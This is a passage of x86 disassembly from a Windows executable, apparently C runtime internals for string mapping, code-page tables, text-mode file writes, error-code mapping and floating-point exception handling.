		mov	eax, dword_46951C
		cmp	eax, 2
		jnz	short loc_41BE23
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42118C	; LCMapStringA
		jmp	loc_41BF01
; ---------------------------------------------------------------------------

loc_41BE23:				; CODE XREF: sub_41BD71+93j
		cmp	eax, 1
		jnz	loc_41BEFF
		cmp	[ebp+arg_18], edi
		jnz	short loc_41BE39
		mov	eax, dword_469538
		mov	[ebp+arg_18], eax

loc_41BE39:				; CODE XREF: sub_41BD71+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41BEFF
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BE94
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_41BE94:				; CODE XREF: sub_41BD71+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41BEFF
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41BEFF
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41BEFF
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41BF13
		cmp	[ebp+arg_14], edi
		jz	loc_41BF8E
		cmp	esi, [ebp+arg_14]
		jg	short loc_41BEFF
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190	; LCMapStringW
		test	eax, eax
		jnz	loc_41BF8E

loc_41BEFF:				; CODE XREF: sub_41BD71+66j
					; sub_41BD71+B5j ...
		xor	eax, eax

loc_41BF01:				; CODE XREF: sub_41BD71+ADj
					; sub_41BD71+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41BF13:				; CODE XREF: sub_41BD71+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BF47
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_41BF47:				; CODE XREF: sub_41BD71+1C2j
		cmp	ebx, edi
		jz	short loc_41BEFF
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190	; LCMapStringW
		test	eax, eax
		jz	short loc_41BEFF
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41BF6E
		push	edi
		push	edi
		jmp	short loc_41BF74
; ---------------------------------------------------------------------------

loc_41BF6E:				; CODE XREF: sub_41BD71+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_41BF74:				; CODE XREF: sub_41BD71+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_421138	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41BEFF

loc_41BF8E:				; CODE XREF: sub_41BD71+165j
					; sub_41BD71+188j
		mov	eax, esi
		jmp	loc_41BF01
sub_41BD71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF95	proc near		; CODE XREF: sub_41BD71+81p
					; sub_41F845+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41BFB2

loc_41BFA5:				; CODE XREF: sub_41BF95+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41BFB2
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41BFA5

loc_41BFB2:				; CODE XREF: sub_41BF95+Ej
					; sub_41BF95+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41BFBD
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_41BFBD:				; CODE XREF: sub_41BF95+21j
		mov	eax, edx
		retn
sub_41BF95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFC0	proc near		; CODE XREF: sub_41C384+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C159	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_46A8C4
		mov	[ebp+arg_0], esi
		jz	loc_41C14D
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C143
		xor	edx, edx
		mov	eax, offset dword_4380F0

loc_41BFF4:				; CODE XREF: sub_41BFC0+41j
		cmp	[eax], esi
		jz	short loc_41C06A
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4381E0
		jl	short loc_41BFF4
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_421194	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41C13B
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9E0
		cmp	[ebp+var_18], 1
		mov	dword_46A8C4, esi
		rep stosd
		stosb
		mov	dword_46AAE4, ebx
		jbe	loc_41C129
		cmp	[ebp+var_12], 0
		jz	loc_41C0FF
		lea	ecx, [ebp+var_11]

loc_41C047:				; CODE XREF: sub_41BFC0+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C0FF
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41C058:				; CODE XREF: sub_41BFC0+A8j
		cmp	eax, edx
		ja	loc_41C0F3
		or	byte_46A9E1[eax], 4
		inc	eax
		jmp	short loc_41C058
; ---------------------------------------------------------------------------

loc_41C06A:				; CODE XREF: sub_41BFC0+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_438100[esi]

loc_41C086:				; CODE XREF: sub_41BFC0+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C0B9

loc_41C08D:				; CODE XREF: sub_41BFC0+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C0B9
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C0B2
		mov	edx, [ebp+var_4]
		mov	dl, byte_4380E8[edx]

loc_41C0A7:				; CODE XREF: sub_41BFC0+F0j
		or	byte_46A9E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C0A7

loc_41C0B2:				; CODE XREF: sub_41BFC0+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C08D

loc_41C0B9:				; CODE XREF: sub_41BFC0+CBj
					; sub_41BFC0+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41C086
		mov	eax, [ebp+arg_0]
		mov	dword_46A8DC, 1
		push	eax
		mov	dword_46A8C4, eax
		call	sub_41C1A3
		lea	esi, dword_4380F4[esi]
		mov	edi, offset dword_46A8D0
		movsd
		movsd
		pop	ecx
		mov	dword_46AAE4, eax
		movsd
		jmp	short loc_41C148
; ---------------------------------------------------------------------------

loc_41C0F3:				; CODE XREF: sub_41BFC0+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C047

loc_41C0FF:				; CODE XREF: sub_41BFC0+7Ej
					; sub_41BFC0+8Bj
		push	1
		pop	eax

loc_41C102:				; CODE XREF: sub_41BFC0+14Fj
		or	byte_46A9E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C102
		push	esi
		call	sub_41C1A3
		pop	ecx
		mov	dword_46AAE4, eax
		mov	dword_46A8DC, 1
		jmp	short loc_41C12F
; ---------------------------------------------------------------------------

loc_41C129:				; CODE XREF: sub_41BFC0+74j
		mov	dword_46A8DC, ebx

loc_41C12F:				; CODE XREF: sub_41BFC0+167j
		xor	eax, eax
		mov	edi, offset dword_46A8D0
		stosd
		stosd
		stosd
		jmp	short loc_41C148
; ---------------------------------------------------------------------------

loc_41C13B:				; CODE XREF: sub_41BFC0+51j
		cmp	dword_469540, ebx
		jz	short loc_41C151

loc_41C143:				; CODE XREF: sub_41BFC0+27j
		call	sub_41C1D6

loc_41C148:				; CODE XREF: sub_41BFC0+131j
					; sub_41BFC0+179j
		call	sub_41C1FF

loc_41C14D:				; CODE XREF: sub_41BFC0+1Dj
		xor	eax, eax
		jmp	short loc_41C154
; ---------------------------------------------------------------------------

loc_41C151:				; CODE XREF: sub_41BFC0+181j
		or	eax, 0FFFFFFFFh

loc_41C154:				; CODE XREF: sub_41BFC0+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BFC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: sub_41BFC0+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_469540, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41C179
		mov	dword_469540, 1
		jmp	dword_42119C
; ---------------------------------------------------------------------------

loc_41C179:				; CODE XREF: sub_41C159+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41C18E
		mov	dword_469540, 1
		jmp	dword_421198
; ---------------------------------------------------------------------------

loc_41C18E:				; CODE XREF: sub_41C159+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41C1A2
		mov	eax, dword_469538
		mov	dword_469540, 1

locret_41C1A2:				; CODE XREF: sub_41C159+38j
		retn
sub_41C159	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1A3	proc near		; CODE XREF: sub_41BFC0+118p
					; sub_41BFC0+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41C1D0
		sub	eax, 4
		jz	short loc_41C1CA
		sub	eax, 0Dh
		jz	short loc_41C1C4
		dec	eax
		jz	short loc_41C1BE
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C1BE:				; CODE XREF: sub_41C1A3+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_41C1C4:				; CODE XREF: sub_41C1A3+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_41C1CA:				; CODE XREF: sub_41C1A3+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_41C1D0:				; CODE XREF: sub_41C1A3+9j
		mov	eax, 411h
		retn
sub_41C1A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1D6	proc near		; CODE XREF: sub_41BFC0:loc_41C143p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_46A9E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_46A8D0
		mov	dword_46A8C4, eax
		mov	dword_46A8DC, eax
		mov	dword_46AAE4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41C1D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1FF	proc near		; CODE XREF: sub_41BFC0:loc_41C148p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_46A8C4
		call	dword_421194	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41C338
		xor	eax, eax
		mov	esi, 100h

loc_41C229:				; CODE XREF: sub_41C1FF+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41C229
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41C27A
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_41C248:				; CODE XREF: sub_41C1FF+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41C26F
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_41C26F:				; CODE XREF: sub_41C1FF+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41C248
		pop	edi
		pop	ebx

loc_41C27A:				; CODE XREF: sub_41C1FF+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_46AAE4
		push	dword_46A8C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41D1F7
		push	0
		lea	eax, [ebp+var_214]
		push	dword_46A8C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_46AAE4
		call	sub_41BD71
		push	0
		lea	eax, [ebp+var_314]
		push	dword_46A8C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_46AAE4
		call	sub_41BD71
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_41C2F5:				; CODE XREF: sub_41C1FF+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41C313
		or	byte_46A9E1[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_41C30B:				; CODE XREF: sub_41C1FF+127j
		mov	byte_46A8E0[eax], dl
		jmp	short loc_41C32F
; ---------------------------------------------------------------------------

loc_41C313:				; CODE XREF: sub_41C1FF+FCj
		test	dl, 2
		jz	short loc_41C328
		or	byte_46A9E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41C30B
; ---------------------------------------------------------------------------

loc_41C328:				; CODE XREF: sub_41C1FF+117j
		and	byte_46A8E0[eax], 0

loc_41C32F:				; CODE XREF: sub_41C1FF+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41C2F5
		jmp	short loc_41C381
; ---------------------------------------------------------------------------

loc_41C338:				; CODE XREF: sub_41C1FF+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_41C33F:				; CODE XREF: sub_41C1FF+180j
		cmp	eax, 41h
		jb	short loc_41C35D
		cmp	eax, 5Ah
		ja	short loc_41C35D
		or	byte_46A9E1[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_41C355:				; CODE XREF: sub_41C1FF+174j
		mov	byte_46A8E0[eax], cl
		jmp	short loc_41C37C
; ---------------------------------------------------------------------------

loc_41C35D:				; CODE XREF: sub_41C1FF+143j
					; sub_41C1FF+148j
		cmp	eax, 61h
		jb	short loc_41C375
		cmp	eax, 7Ah
		ja	short loc_41C375
		or	byte_46A9E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41C355
; ---------------------------------------------------------------------------

loc_41C375:				; CODE XREF: sub_41C1FF+161j
					; sub_41C1FF+166j
		and	byte_46A8E0[eax], 0

loc_41C37C:				; CODE XREF: sub_41C1FF+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41C33F

loc_41C381:				; CODE XREF: sub_41C1FF+137j
		pop	esi
		leave
		retn
sub_41C1FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C384	proc near		; CODE XREF: sub_41C7C2+9p
					; sub_41C81A+Dp ...
		cmp	dword_46AB0C, 0
		jnz	short locret_41C39F
		push	0FFFFFFFDh
		call	sub_41BFC0
		pop	ecx
		mov	dword_46AB0C, 1

locret_41C39F:				; CODE XREF: sub_41C384+7j
		retn
sub_41C384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3A0	proc near		; CODE XREF: sub_417348+2Bp
					; sub_417348+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_46A8DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41C3C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416D40
		add	esp, 0Ch
		jmp	short loc_41C427
; ---------------------------------------------------------------------------

loc_41C3C4:				; CODE XREF: sub_41C3A0+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41C409
		mov	ecx, [ebp+arg_4]

loc_41C3CF:				; CODE XREF: sub_41C3A0+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_46A9E1[esi], 4
		mov	[edi], al
		jz	short loc_41C3F3
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41C3FF
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C405
		jmp	short loc_41C3F9
; ---------------------------------------------------------------------------

loc_41C3F3:				; CODE XREF: sub_41C3A0+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C409

loc_41C3F9:				; CODE XREF: sub_41C3A0+51j
		test	edx, edx
		jnz	short loc_41C3CF
		jmp	short loc_41C409
; ---------------------------------------------------------------------------

loc_41C3FF:				; CODE XREF: sub_41C3A0+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41C409
; ---------------------------------------------------------------------------

loc_41C405:				; CODE XREF: sub_41C3A0+4Fj
		and	byte ptr [edi-2], 0

loc_41C409:				; CODE XREF: sub_41C3A0+2Aj
					; sub_41C3A0+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41C424
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_41C424:				; CODE XREF: sub_41C3A0+6Fj
		mov	eax, [ebp+arg_0]

loc_41C427:				; CODE XREF: sub_41C3A0+22j
		pop	edi
		pop	ebp
		retn
sub_41C3A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C42A	proc near		; CODE XREF: sub_4175FF+A2p
					; sub_417C37+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_46A8C0
		push	esi
		push	edi
		jnb	loc_41C5BE
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41C5BE
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41C47B

loc_41C474:				; CODE XREF: sub_41C42A+177j
		xor	eax, eax
		jmp	loc_41C5D2
; ---------------------------------------------------------------------------

loc_41C47B:				; CODE XREF: sub_41C42A+48j
		test	al, 20h
		jz	short loc_41C48B
		push	2
		push	edi
		push	ecx
		call	sub_41BB7F
		add	esp, 0Ch

loc_41C48B:				; CODE XREF: sub_41C42A+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41C55A
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41C592

loc_41C4AB:				; CODE XREF: sub_41C42A+F5j
		lea	eax, [ebp+var_414]

loc_41C4B1:				; CODE XREF: sub_41C42A+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C4E5
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41C4D0
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_41C4D0:				; CODE XREF: sub_41C42A+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41C4B1

loc_41C4E5:				; CODE XREF: sub_41C42A+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421070	; WriteFile
		test	eax, eax
		jz	short loc_41C54F
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41C521
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41C4AB

loc_41C521:				; CODE XREF: sub_41C42A+EAj
					; sub_41C42A+12Ej
		xor	edi, edi

loc_41C523:				; CODE XREF: sub_41C42A+150j
					; sub_41C42A+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41C5B9
		cmp	[ebp+arg_0], edi
		jz	short loc_41C592
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41C587
		mov	dword_469494, 9
		mov	dword_469498, eax
		jmp	loc_41C5CF
; ---------------------------------------------------------------------------

loc_41C54F:				; CODE XREF: sub_41C42A+E0j
		call	dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41C521
; ---------------------------------------------------------------------------

loc_41C55A:				; CODE XREF: sub_41C42A+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_421070	; WriteFile
		test	eax, eax
		jz	short loc_41C57C
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41C523
; ---------------------------------------------------------------------------

loc_41C57C:				; CODE XREF: sub_41C42A+145j
		call	dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41C523
; ---------------------------------------------------------------------------

loc_41C587:				; CODE XREF: sub_41C42A+10Fj
		push	[ebp+arg_0]
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_41C5CF
; ---------------------------------------------------------------------------

loc_41C592:				; CODE XREF: sub_41C42A+7Bj
					; sub_41C42A+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41C5A7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41C474

loc_41C5A7:				; CODE XREF: sub_41C42A+16Fj
		mov	dword_469494, 1Ch
		mov	dword_469498, edi
		jmp	short loc_41C5CF
; ---------------------------------------------------------------------------

loc_41C5B9:				; CODE XREF: sub_41C42A+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41C5D2
; ---------------------------------------------------------------------------

loc_41C5BE:				; CODE XREF: sub_41C42A+15j
					; sub_41C42A+37j
		and	dword_469498, 0
		mov	dword_469494, 9

loc_41C5CF:				; CODE XREF: sub_41C42A+120j
					; sub_41C42A+166j ...
		or	eax, 0FFFFFFFFh

loc_41C5D2:				; CODE XREF: sub_41C42A+4Cj
					; sub_41C42A+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C42A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5D7	proc near		; CODE XREF: sub_417709+16p
					; sub_4178FC+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_469498, ecx
		mov	eax, offset dword_4381E0

loc_41C5E8:				; CODE XREF: sub_41C5D7+1Ej
		cmp	ecx, [eax]
		jz	short loc_41C60C
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_438348
		jl	short loc_41C5E8
		cmp	ecx, 13h
		jb	short loc_41C619
		cmp	ecx, 24h
		ja	short loc_41C619
		mov	dword_469494, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_41C60C:				; CODE XREF: sub_41C5D7+13j
		mov	eax, dword_4381E4[edx*8]
		mov	dword_469494, eax
		retn
; ---------------------------------------------------------------------------

loc_41C619:				; CODE XREF: sub_41C5D7+23j
					; sub_41C5D7+28j
		cmp	ecx, 0BCh
		jb	short loc_41C633
		cmp	ecx, 0CAh
		mov	dword_469494, 8
		jbe	short locret_41C63D

loc_41C633:				; CODE XREF: sub_41C5D7+48j
		mov	dword_469494, 16h

locret_41C63D:				; CODE XREF: sub_41C5D7+5Aj
		retn
sub_41C5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C63E	proc near		; CODE XREF: sub_417AF8+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41C77F
		test	eax, eax
		pop	ecx
		jz	loc_41C773
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41C773
		cmp	ebx, 5
		jnz	short loc_41C66F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41C77C
; ---------------------------------------------------------------------------

loc_41C66F:				; CODE XREF: sub_41C63E+23j
		cmp	ebx, 1
		jz	loc_41C76E
		mov	ecx, dword_469544
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_469544, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41C75E
		mov	ecx, dword_4383C0
		mov	edx, dword_4383C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41C6BE
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:438350h[esi*4]

loc_41C6B5:				; CODE XREF: sub_41C63E+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41C6B5

loc_41C6BE:				; CODE XREF: sub_41C63E+69j
		mov	eax, [eax]
		mov	esi, dword_4383CC
		cmp	eax, 0C000008Eh
		jnz	short loc_41C6D9
		mov	dword_4383CC, 83h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C6D9:				; CODE XREF: sub_41C63E+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41C6EC
		mov	dword_4383CC, 81h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C6EC:				; CODE XREF: sub_41C63E+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41C6FF
		mov	dword_4383CC, 84h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C63E+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41C712
		mov	dword_4383CC, 85h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C712:				; CODE XREF: sub_41C63E+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41C725
		mov	dword_4383CC, 82h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C725:				; CODE XREF: sub_41C63E+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41C738
		mov	dword_4383CC, 86h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C738:				; CODE XREF: sub_41C63E+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41C749
		mov	dword_4383CC, 8Ah

loc_41C749:				; CODE XREF: sub_41C63E+99j
					; sub_41C63E+ACj ...
		push	dword_4383CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_4383CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41C766
; ---------------------------------------------------------------------------

loc_41C75E:				; CODE XREF: sub_41C63E+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_41C766:				; CODE XREF: sub_41C63E+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_469544, eax

loc_41C76E:				; CODE XREF: sub_41C63E+34j
